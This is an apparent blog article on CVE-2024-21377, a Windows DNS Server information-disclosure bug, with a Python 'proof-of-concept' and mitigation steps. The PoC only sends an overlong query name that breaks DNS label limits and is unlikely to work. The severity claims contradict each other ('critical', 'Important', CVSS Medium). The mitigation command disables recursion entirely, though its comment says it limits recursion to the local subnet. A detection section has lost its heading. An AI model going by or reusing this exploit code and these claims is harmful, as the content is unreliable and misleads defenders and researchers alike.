CVE-2024-21377 - Windows DNS Information Disclosure Vulnerability

In early 2024, Microsoft disclosed a critical vulnerability identified as CVE-2024-21377 in Windows DNS Server. This issue, categorized as an "Information Disclosure Vulnerability," enables attackers to extract sensitive internal data from target DNS servers. Because DNS is the backbone of any modern network, this bug has triggered major concern among system administrators and security professionals.

In this article, we’ll break down how CVE-2024-21377 works, show possible exploitation strategies, provide raw code snippets, and offer steps to shield your systems. All content is uniquely written for this long read, using accessible language.

What Is CVE-2024-21377?

CVE-2024-21377 is an Information Disclosure Vulnerability in the Windows DNS Server, notably affecting Windows Server 2019 and 2022, among others. Threat actors can send crafted DNS queries that force the DNS server to leak data from memory regions they shouldn’t be able to access.

> Severity Rating: Important
> CVSS Score: 5.3 (Medium)
> Attack Vector: Network
> Exploitability: Low skill required

Reference:
- Microsoft’s Advisory for CVE-2024-21377

How Does It Work?

The vulnerability lies in how Windows DNS parses certain recursive query requests. By manipulating these requests, an attacker can trick the server into disclosing fragments of its own process memory. This may include sensitive data such as *recently processed queries, Active Directory settings, domain secrets*, or portions of zone files.

Proof-of-Concept (PoC) Exploit

Below is a Python snippet using dnspython to craft a suspicious DNS query that may trigger information leakage. This code is for demonstration only — do not use on production or unauthorized servers.

import dns.resolver
import dns.message
import dns.query

# Target DNS server
target_dns = '192.168.1.10'

# Crafting a malformed DNS query 
malformed_qname = "A" * 255 + ".example.com"

msg = dns.message.make_query(malformed_qname, dns.rdatatype.A)

# Send the query using UDP
response = dns.query.udp(msg, target_dns, timeout=2)

# Print potential leaked data
for answer in response.answer:
    print(answer)

Explanation

- The script creates a query name (QNAME) that's suspiciously long — which may confuse the parsing engine and cause it to respond with data outside of what should be visible.

Responses may show memory fragments or internal configuration data.

Note: A real-world exploit would require precise on-site testing, as public details remain limited. Tools like Wireshark can be used to inspect the responses for leaks.

Patch Now!

Microsoft has released a patch. Apply updates immediately to all affected DNS Servers.
- Official Patch Download

Example: Block Recursive Requests from Non-Local Networks

# Allow recursion only for local subnet (example)
dnscmd /Config /NoRecursion 1

Or, edit your DNS Server policy to restrict recursion only to whitelisted IPs.

Burst of errors or crashes in your DNS service.

- Data leakage signatures in outbound DNS responses (use IDS/IPS or SIEM).

Conclusion

CVE-2024-21377 highlights how fundamental services like DNS can hide deep-seated flaws with broad impact. While remote code execution isn’t possible, information disclosure opens many doors for targeted attacks later on. Patch promptly, limit exposure, and watch your DNS logs. The security of your network depends on it.

> *Stay smart, keep your DNS servers updated, and never underestimate even “medium” rated vulnerabilities.*

Timeline

Published on: 02/13/2024 18:15:55 UTC
Last modified on: 03/01/2024 22:24:40 UTC

CVE-2024-21377 - Windows DNS Information Disclosure Vulnerability - Deep Dive, Exploit, and Prevention